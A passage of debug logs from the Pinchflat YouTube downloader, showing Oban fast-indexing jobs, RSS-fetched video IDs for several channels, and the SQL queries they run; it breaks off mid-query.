UC6tUZA7GiIZPaUu4FQXnFYA 02:50:51.086 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 02:50:51.086 [debug] QUERY OK source="media_items" db=0.2ms idle=127.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 02:50:51.088 [debug] QUERY OK source="media_items" db=2.0ms idle=127.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 02:50:51.089 [debug] QUERY OK source="tasks" db=0.0ms idle=129.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [521, 1, ~U[2026-07-24 02:50:51Z], ~U[2026-07-24 02:50:51Z]] 02:50:51.089 [info] {"args":{"id":1},"id":519,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":130939,"event":"job:stop","queue_time":103459,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:50:51.649 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 02:50:51.649 [debug] QUERY OK source="media_items" db=0.3ms idle=560.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 02:50:51.650 [debug] QUERY OK source="media_items" db=0.2ms idle=560.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 02:50:51.650 [debug] QUERY OK source="tasks" db=0.0ms idle=555.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [522, 2, ~U[2026-07-24 02:50:51Z], ~U[2026-07-24 02:50:51Z]] 02:50:51.651 [info] {"args":{"id":2},"id":518,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":692636,"event":"job:stop","queue_time":398176,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:50:55.362 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:00.902 [info] {"source":"oban","duration":146,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:51:25.363 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:55.364 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:00.903 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:52:25.365 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:55.366 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:00.904 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:53:25.367 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:55.368 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:00.905 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:54:25.369 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:55.370 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.906 [info] {"source":"oban","duration":261,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:55:06.223 [info] {"args":{"id":3},"id":520,"meta":{},"system_time":1784861706223343544,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:55:06.223 [debug] QUERY OK source="sources" db=0.0ms idle=1155.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:55:06.223 [debug] QUERY OK source="settings" db=0.0ms idle=1007.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:55:06.224 [debug] QUERY OK source="media_profiles" db=0.0ms idle=155.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:55:06.224 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:55:06.224 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 02:55:06.356 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 02:55:06.357 [debug] QUERY OK source="media_items" db=0.2ms idle=133.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 02:55:06.360 [debug] QUERY OK source="media_items" db=2.9ms idle=134.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:55:06.361 [debug] QUERY OK source="tasks" db=0.0ms idle=137.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [523, 3, ~U[2026-07-24 02:55:06Z], ~U[2026-07-24 02:55:06Z]] 02:55:06.362 [info] {"args":{"id":3},"id":520,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":138615,"event":"job:stop","queue_time":511351,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:55:25.371 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:55.372 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.907 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:56:25.373 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:55.374 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.907 [info] {"source":"oban","duration":109,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:57:25.375 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:55.376 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.909 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:58:25.377 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:55.378 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:00.910 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:59:25.379 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:55.380 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:00.911 [info] {"source":"oban","duration":488,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:00:25.381 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:51.596 [info] {"args":{"id":1},"id":521,"meta":{},"system_time":1784862051596459974,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:00:51.596 [debug] QUERY OK source="sources" db=0.0ms idle=528.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:00:51.597 [debug] QUERY OK source="settings" db=0.2ms idle=528.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:00:51.597 [debug] QUERY OK source="media_profiles" db=0.0ms idle=529.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:00:51.597 [debug] QUERY OK source="settings" db=0.0ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:00:51.597 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 03:00:51.951 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 03:00:51.951 [debug] QUERY OK source="media_items" db=0.3ms idle=354.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 03:00:51.953 [debug] QUERY OK source="media_items" db=1.8ms idle=355.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 03:00:51.954 [debug] QUERY OK source="tasks" db=0.0ms idle=357.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [524, 1, ~U[2026-07-24 03:00:51Z], ~U[2026-07-24 03:00:51Z]] 03:00:51.955 [info] {"args":{"id":1},"id":521,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":358393,"event":"job:stop","queue_time":507017,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:00:52.597 [info] {"args":{"id":2},"id":522,"meta":{},"system_time":1784862052597356065,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:00:52.597 [debug] QUERY OK source="sources" db=0.0ms idle=642.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 03:00:52.597 [debug] QUERY OK source="settings" db=0.0ms idle=642.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:00:52.598 [debug] QUERY OK source="media_profiles" db=0.0ms idle=636.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:00:52.598 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:00:52.598 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 03:00:52.977 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 03:00:52.978 [debug] QUERY OK source="media_items" db=0.2ms idle=380.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 03:00:52.978 [debug] QUERY OK source="media_items" db=0.3ms idle=380.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", 